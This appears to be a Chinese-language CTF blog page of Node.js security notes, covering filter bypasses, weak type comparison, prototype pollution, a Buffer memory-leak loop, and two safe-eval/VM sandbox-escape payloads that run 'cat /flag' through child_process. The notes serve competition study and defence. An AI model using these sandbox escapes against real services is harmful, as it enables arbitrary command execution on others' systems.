Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • Catalogue

  • 隐写术
  • PHP

  • protocol
  • Java

  • Node

    • Node 积累
      • Fuzz
      • 绕过
      • 弱类型比较
      • 函数“缺陷”
      • 原型链污染
        • 参考资料
      • VM虚拟机逃逸
        • Buffer
        • Payload
        • 参考资料
      • NPM 包管理安全检测
      • 拓展资料
  • Python

  • Golang

  • Arbitrary Code Execution
  • Shell
  • SQLi
  • SSRF
  • SSTI
  • lfi
  • XSS
  • XXE
  • convert
  • .htaccess文件利用
  • 序列化与反序列化问题小结
  • CTF
  • Node
Eki
2021-05-10
目录

Node 积累

# JavaScript

# Fuzz

  • Object.getOwnPropertyNames(this) 得到依赖包名

  • Error().stack 抛出栈错误

# 绕过

  • 数组绕过

  • \x70\x72\x6f\x74\x6f\x74\x79\x70\x65 编码绕过

# 弱类型比较

[1] == 1
'1' == 1
1
2

# 函数“缺陷”

  • setTimeout(callback, delay[, ...args])

    当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1。 非整数的 delay 会被截断为整数。

    如果 callback 不是函数,则抛出 TypeError。

# 原型链污染

# 参考资料

https://3nd.xyz/2019/09/10/Summary/Javascript-Prototype-Attack/#0x07-%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5

# VM虚拟机逃逸

# Buffer

随机泄露内存

Buffer(100)
1

升级版

for (var step = 0; step < 100000; step++) {
    var buf = (new Buffer(100)).toString('ascii');
    if (buf.indexOf("target") !== -1)  break;
}
buf;
1
2
3
4
5

# Payload

# Safe-Eval

clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
1
(function () {
  const f = Buffer.prototype.write;
  const ft = {
    length: 10,
    utf8Write(){

    }
  };
  function r(i){
    var x = 0;
    try{
      x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
      return x;
    if(x!==i)
      return x+1;
    try{
      f.call(ft);
    }catch(e){
      return e;
    }
    return null;
  }
  var i=1;
  while(1){
    try{
      i=r(i).constructor.constructor("return process")();
      break;
    }catch(x){
      i++;
    }
  }
  return i.mainModule.require("child_process").execSync("cat /flag").toString()
}()).toString()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# 参考资料

https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md

# NPM 包管理安全检测

npm audit
1

# 拓展资料

nodejs 语法手册 http://nodejs.cn/api/

Vulnerablity Database:

https://snyk.io/vuln

https://github.com/advisories

https://www.npmjs.com/advisories

编辑 (opens new window)
上次更新: 2021/05/11, 08:36:49
misc
Python 积累

← misc Python 积累→

最近更新
01
QWB CTF2022 线下赛总决赛部分题解
08-25
02
CISCN2022 总决赛部分题解
08-25
03
DSCTF2022决赛 部分writeup
08-08
更多文章>
Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
This work is licensed under a Creative Commons Attribution 4.0 International License.
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式